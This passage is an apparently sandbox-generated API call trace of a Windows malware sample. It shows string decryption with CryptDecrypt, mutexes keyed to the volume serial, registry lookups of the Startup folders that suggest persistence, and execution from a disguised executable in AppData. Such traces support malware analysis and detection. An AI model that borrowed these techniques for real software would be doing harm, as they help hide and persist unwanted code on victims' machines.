OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0266.444] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x84 [0266.444] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0266.444] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14a0 | out: hHeap=0x1c0000) returned 1 [0266.444] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14e8 | out: hHeap=0x1c0000) returned 1 [0266.444] ReleaseMutex (hMutex=0x84) returned 1 [0266.444] CloseHandle (hObject=0x84) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c14a0 [0266.444] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcd8 | out: phKey=0x39fcd8*=0x7d4f60) returned 1 [0266.444] CryptSetKeyParam (hKey=0x7d4f60, dwParam=0x1, pbData=0x39fcc0, dwFlags=0x0) returned 1 [0266.444] CryptDecrypt (in: hKey=0x7d4f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c14a0, pdwDataLen=0x39fc8c | out: pbData=0x1c14a0, pdwDataLen=0x39fc8c) returned 1 [0266.444] CryptDestroyKey (hKey=0x7d4f60) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c14c8 [0266.444] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c14f0 [0266.444] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c1518 [0266.444] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcb0 | out: phKey=0x39fcb0*=0x7d4f60) returned 1 [0266.444] CryptSetKeyParam (hKey=0x7d4f60, dwParam=0x1, pbData=0x39fc98, dwFlags=0x0) returned 1 [0266.444] CryptDecrypt (in: hKey=0x7d4f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1518, pdwDataLen=0x39fc64 | out: pbData=0x1c1518, pdwDataLen=0x39fc64) returned 1 [0266.444] CryptDestroyKey (hKey=0x7d4f60) returned 1 [0266.444] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1518 | out: hHeap=0x1c0000) returned 1 [0266.444] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.444] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14f0 | out: hHeap=0x1c0000) returned 1 [0266.444] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14a0 | out: hHeap=0x1c0000) returned 1 [0266.444] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x39fd18, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x39fd18*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.444] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14c8 | out: hHeap=0x1c0000) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c14a0 [0266.444] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd0c | out: phKey=0x39fd0c*=0x7d4f60) returned 1 [0266.444] CryptSetKeyParam (hKey=0x7d4f60, dwParam=0x1, pbData=0x39fcf4, dwFlags=0x0) returned 1 [0266.444] CryptDecrypt (in: hKey=0x7d4f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c14a0, pdwDataLen=0x39fcc0 | out: pbData=0x1c14a0, pdwDataLen=0x39fcc0) returned 1 [0266.444] CryptDestroyKey (hKey=0x7d4f60) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c14e8 [0266.444] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x0 [0266.445] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4200") returned 0x84 [0266.445] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0266.445] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14a0 | out: hHeap=0x1c0000) returned 1 [0266.445] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c14e8 | out: hHeap=0x1c0000) returned 1 [0266.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1172019, lpParameter=0x39fde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c [0266.446] Sleep (dwMilliseconds=0x1388) [0271.678] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c16d0 [0271.678] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc4 | out: phKey=0x39fcc4*=0x806a18) returned 1 [0271.678] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcac, dwFlags=0x0) returned 1 [0271.678] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0x39fc78 | out: pbData=0x1c16d0, pdwDataLen=0x39fc78) returned 1 [0271.678] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.678] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c16f8 [0271.679] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c1720 [0271.679] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c5550 [0271.679] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fc9c | out: phKey=0x39fc9c*=0x806a18) returned 1 [0271.679] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fc84, dwFlags=0x0) returned 1 [0271.679] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5550, pdwDataLen=0x39fc50 | out: pbData=0x1c5550, pdwDataLen=0x39fc50) returned 1 [0271.679] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.679] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5550 | out: hHeap=0x1c0000) returned 1 [0271.679] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c16f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0271.679] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1720 | out: hHeap=0x1c0000) returned 1 [0271.679] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0271.679] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x39fd04, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x39fd04*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0271.679] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16f8 | out: hHeap=0x1c0000) returned 1 [0271.679] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c16d0 [0271.679] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc90, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcf8 | out: phKey=0x39fcf8*=0x806a18) returned 1 [0271.679] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fce0, dwFlags=0x0) returned 1 [0271.679] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0x39fcac | out: pbData=0x1c16d0, pdwDataLen=0x39fcac) returned 1 [0271.679] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.679] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c1718 [0271.679] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0271.679] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x28c [0271.679] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x0) returned 0x0 [0271.679] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0271.679] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1718 | out: hHeap=0x1c0000) returned 1 [0271.679] ReleaseMutex (hMutex=0x28c) returned 1 [0271.679] CloseHandle (hObject=0x28c) returned 1 [0271.679] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x60) returned 0x1c16d0 [0271.679] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fcb4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd1c | out: phKey=0x39fd1c*=0x806a18) returned 1 [0271.679] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fd04, dwFlags=0x0) returned 1 [0271.679] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0x39fcd0 | out: pbData=0x1c16d0, pdwDataLen=0x39fcd0) returned 1 [0271.679] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.679] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c1738 [0271.680] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc8c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcf4 | out: phKey=0x39fcf4*=0x806a18) returned 1 [0271.680] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcdc, dwFlags=0x0) returned 1 [0271.680] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1738, pdwDataLen=0x39fca8 | out: pbData=0x1c1738, pdwDataLen=0x39fca8) returned 1 [0271.680] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.680] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c1760 [0271.680] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c5550 [0271.680] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c5578 [0271.681] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fccc | out: phKey=0x39fccc*=0x806a18) returned 1 [0271.681] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcb4, dwFlags=0x0) returned 1 [0271.681] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5578, pdwDataLen=0x39fc80 | out: pbData=0x1c5578, pdwDataLen=0x39fc80) returned 1 [0271.681] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.681] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5578 | out: hHeap=0x1c0000) returned 1 [0271.681] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x1c1760, nSize=0xf | out: lpDst="") returned 0x2c [0271.681] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5550 | out: hHeap=0x1c0000) returned 1 [0271.681] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c1760, Size=0x3a) returned 0x1c5550 [0271.681] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x3a) returned 0x1c5598 [0271.681] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c55e0 [0271.681] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc8 | out: phKey=0x39fcc8*=0x806a18) returned 1 [0271.681] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcb0, dwFlags=0x0) returned 1 [0271.682] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c55e0, pdwDataLen=0x39fc7c | out: pbData=0x1c55e0, pdwDataLen=0x39fc7c) returned 1 [0271.682] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.682] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c55e0 | out: hHeap=0x1c0000) returned 1 [0271.682] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x1c5550, nSize=0x1d | out: lpDst="") returned 0x2c [0271.682] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5598 | out: hHeap=0x1c0000) returned 1 [0271.682] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c5550, Size=0x72) returned 0x1c5550 [0271.682] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x72) returned 0x1c55d0 [0271.682] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c5650 [0271.682] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc8 | out: phKey=0x39fcc8*=0x806a18) returned 1 [0271.682] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcb0, dwFlags=0x0) returned 1 [0271.682] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5650, pdwDataLen=0x39fc7c | out: pbData=0x1c5650, pdwDataLen=0x39fc7c) returned 1 [0271.682] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.682] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5650 | out: hHeap=0x1c0000) returned 1 [0271.682] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x1c5550, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0271.682] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c55d0 | out: hHeap=0x1c0000) returned 1 [0271.682] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1738 | out: hHeap=0x1c0000) returned 1 [0271.682] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c1738 [0271.682] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc88, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcf0 | out: phKey=0x39fcf0*=0x806a18) returned 1 [0271.682] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcd8, dwFlags=0x0) returned 1 [0271.682] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c1738, pdwDataLen=0x39fca4 | out: pbData=0x1c1738, pdwDataLen=0x39fca4) returned 1 [0271.682] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.682] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x3e) returned 0x1c55d0 [0271.682] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x3e) returned 0x1c5618 [0271.682] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c5660 [0271.682] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc8 | out: phKey=0x39fcc8*=0x806a18) returned 1 [0271.682] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcb0, dwFlags=0x0) returned 1 [0271.682] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5660, pdwDataLen=0x39fc7c | out: pbData=0x1c5660, pdwDataLen=0x39fc7c) returned 1 [0271.682] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.682] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x10) returned 0x1c56f8 [0271.682] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x39fc44 | out: phkResult=0x39fc44*=0x28c) returned 0x0 [0271.682] RegQueryValueExW (in: hKey=0x28c, lpValueName="Startup", lpReserved=0x0, lpType=0x39fc40, lpData=0x1c5618, lpcbData=0x39fc48*=0x3e | out: lpType=0x39fc40*=0x2, lpData=0x1c5618*=0xc4, lpcbData=0x39fc48*=0x98) returned 0xea [0271.682] RegCloseKey (hKey=0x28c) returned 0x0 [0271.682] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c56f8 | out: hHeap=0x1c0000) returned 1 [0271.683] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5660 | out: hHeap=0x1c0000) returned 1 [0271.683] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5618 | out: hHeap=0x1c0000) returned 1 [0271.683] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c55d0, Size=0x7a) returned 0x1c55d0 [0271.683] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x7a) returned 0x1c5658 [0271.683] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c56e0 [0271.683] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc4 | out: phKey=0x39fcc4*=0x806a18) returned 1 [0271.683] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcac, dwFlags=0x0) returned 1 [0271.683] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c56e0, pdwDataLen=0x39fc78 | out: pbData=0x1c56e0, pdwDataLen=0x39fc78) returned 1 [0271.683] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.683] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x10) returned 0x1c5778 [0271.683] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x39fc40 | out: phkResult=0x39fc40*=0x28c) returned 0x0 [0271.683] RegQueryValueExW (in: hKey=0x28c, lpValueName="Startup", lpReserved=0x0, lpType=0x39fc3c, lpData=0x1c5658, lpcbData=0x39fc44*=0x7a | out: lpType=0x39fc3c*=0x2, lpData=0x1c5658*=0xc4, lpcbData=0x39fc44*=0x98) returned 0xea [0271.683] RegCloseKey (hKey=0x28c) returned 0x0 [0271.683] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5778 | out: hHeap=0x1c0000) returned 1 [0271.683] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c56e0 | out: hHeap=0x1c0000) returned 1 [0271.683] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5658 | out: hHeap=0x1c0000) returned 1 [0271.683] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c55d0, Size=0xf2) returned 0x1c55d0 [0271.683] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0xf2) returned 0x1c56d0 [0271.683] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c57d0 [0271.683] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc4 | out: phKey=0x39fcc4*=0x806a18) returned 1 [0271.683] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcac, dwFlags=0x0) returned 1 [0271.683] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c57d0, pdwDataLen=0x39fc78 | out: pbData=0x1c57d0, pdwDataLen=0x39fc78) returned 1 [0271.683] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.683] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x10) returned 0x1c5868 [0271.683] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x39fc40 | out: phkResult=0x39fc40*=0x28c) returned 0x0 [0271.683] RegQueryValueExW (in: hKey=0x28c, lpValueName="Startup", lpReserved=0x0, lpType=0x39fc3c, lpData=0x1c56d0, lpcbData=0x39fc44*=0xf2 | out: lpType=0x39fc3c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x39fc44*=0x98) returned 0x0 [0271.683] RegCloseKey (hKey=0x28c) returned 0x0 [0271.683] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5868 | out: hHeap=0x1c0000) returned 1 [0271.683] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c5868 [0271.683] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x39fc40 | out: phkResult=0x39fc40*=0x28c) returned 0x0 [0271.683] RegQueryValueExW (in: hKey=0x28c, lpValueName="Common Startup", lpReserved=0x0, lpType=0x39fc3c, lpData=0x1c5768, lpcbData=0x39fc44*=0x5a | out: lpType=0x39fc3c*=0x0, lpData=0x1c5768*=0x73, lpcbData=0x39fc44*=0x5a) returned 0x2 [0271.683] RegCloseKey (hKey=0x28c) returned 0x0 [0271.683] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x39fc54 | out: phkResult=0x39fc54*=0x28c) returned 0x0 [0271.684] RegQueryValueExW (in: hKey=0x28c, lpValueName="Common Startup", lpReserved=0x0, lpType=0x39fc50, lpData=0x1c5768, lpcbData=0x39fc58*=0x5a | out: lpType=0x39fc50*=0x2, lpData=0x1c5768*=0x73, lpcbData=0x39fc58*=0x78) returned 0xea [0271.684] RegCloseKey (hKey=0x28c) returned 0x0 [0271.684] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5868 | out: hHeap=0x1c0000) returned 1 [0271.684] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c57d0 | out: hHeap=0x1c0000) returned 1 [0271.684] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c56d0 | out: hHeap=0x1c0000) returned 1 [0271.684] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1c55d0, Size=0x1e2) returned 0x1c55d0 [0271.684] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e2) returned 0x1c57c0 [0271.684] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c59b0 [0271.684] CryptImportKey (in: hProv=0x7d5188, pbData=0x39fc5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fcc4 | out: phKey=0x39fcc4*=0x806a18) returned 1 [0271.684] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x39fcac, dwFlags=0x0) returned 1 [0271.684] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c59b0, pdwDataLen=0x39fc78 | out: pbData=0x1c59b0, pdwDataLen=0x39fc78) returned 1 [0271.684] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.684] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x10) returned 0x1c5a48 [0271.684] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x39fc40 | out: phkResult=0x39fc40*=0x28c) returned 0x0 [0271.684] RegQueryValueExW (in: hKey=0x28c, lpValueName="Startup", lpReserved=0x0, lpType=0x39fc3c, lpData=0x1c57c0, lpcbData=0x39fc44*=0x1e2 | out: lpType=0x39fc3c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x39fc44*=0x98) returned 0x0 [0271.684] RegCloseKey (hKey=0x28c) returned 0x0 [0271.684] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5a48 | out: hHeap=0x1c0000) returned 1 [0271.684] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c5a48 [0271.684] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x39fc40 | out: phkResult=0x39fc40*=0x28c) returned 0x0 [0271.684] RegQueryValueExW (in: hKey=0x28c, lpValueName="Common Startup", lpReserved=0x0, lpType=0x39fc3c, lpData=0x1c5858, lpcbData=0x39fc44*=0x14a | out: lpType=0x39fc3c*=0x0, lpData=0x1c5858*=0x73, lpcbData=0x39fc44*=0x14a) returned 0x2 [0271.684] RegCloseKey (hKey=0x28c) returned 0x0 [0271.684] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x39fc54 | out: phkResult=0x39fc54*=0x28c) returned 0x0 [0271.684] RegQueryValueExW (in: hKey=0x28c, lpValueName="Common Startup", lpReserved=0x0, lpType=0x39fc50, lpData=0x1c5858, lpcbData=0x39fc58*=0x14a | out: lpType=0x39fc50*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x39fc58*=0x78) returned 0x0 [0271.684] RegCloseKey (hKey=0x28c) returned 0x0 [0271.684] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5a48 | out: hHeap=0x1c0000) returned 1 [0271.684] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c59b0 | out: hHeap=0x1c0000) returned 1 [0271.684] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x1c55d0, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0271.684] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c57c0 | out: hHeap=0x1c0000) returned 1 [0271.684] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1738 | out: hHeap=0x1c0000) returned 1 [0271.684] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c57c0 [0271.684] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c59d8 [0271.684] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c5bf0 [0271.684] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c5e08 [0271.685] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c57c0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x70 [0271.685] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) 